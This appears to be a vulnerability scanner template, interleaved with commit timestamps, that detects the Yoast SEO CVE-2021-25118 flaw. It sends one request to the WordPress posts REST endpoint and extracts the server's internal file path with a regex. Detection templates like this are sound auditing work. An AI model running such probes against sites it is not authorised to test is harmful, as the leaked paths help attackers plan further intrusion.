2022-04-30 20:40:38 +00:00
id : CVE-2021-25118
info :
2023-04-04 21:11:57 +00:00
name : Yoast SEO 16.7-17.2 - Information Disclosure
2022-04-30 20:40:38 +00:00
author : DhiyaneshDK
2022-04-30 20:57:29 +00:00
severity : medium
2023-04-04 21:11:57 +00:00
description : Yoast SEO plugin 16.7 to 17.2 is susceptible to information disclosure, The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints, which can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 17.3.
2022-04-30 20:40:38 +00:00
reference :
- https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550
2022-05-17 09:18:12 +00:00
- https://plugins.trac.wordpress.org/changeset/2608691
2023-04-04 21:11:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25118
2022-04-30 20:57:29 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-05-17 09:18:12 +00:00
cvss-score : 5.3
2022-04-30 20:57:29 +00:00
cve-id : CVE-2021-25118
cwe-id : CWE-200
2023-10-14 11:27:55 +00:00
epss-score : 0.00155
2023-10-23 12:22:20 +00:00
epss-percentile : 0.51663
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:yoast:yoast_seo:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : yoast
product : yoast_seo
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wpscan,wordpress,cve2021,wp-plugin,fpd,cve,wp
2022-04-30 20:40:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-30 20:40:38 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1"
2022-04-30 20:50:08 +00:00
2022-04-30 20:40:38 +00:00
matchers-condition : and
matchers :
- type : word
2022-04-30 20:50:08 +00:00
part : header
2022-04-30 20:40:38 +00:00
words :
- "application/json"
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- '"path":"(.*)/wp-content\\(.*)","size'
2022-04-30 20:50:08 +00:00
- type : status
status :
- 200
extractors :
- type : regex
group : 1
regex :
- '"path":"(.*)/wp-content\\(.*)","size'
2023-07-11 19:49:27 +00:00
part : body
2023-10-23 07:14:07 +00:00
# digest: 490a004630440220503977f0fcc1747524e905d112441b1110caa3603039024318b238314e381fb6022071d6d4bca9e020379d20eb8c65fff216c4635550da81ac601c3a8dc44c763c8f:922c64590222798bb761d5b6d8e72950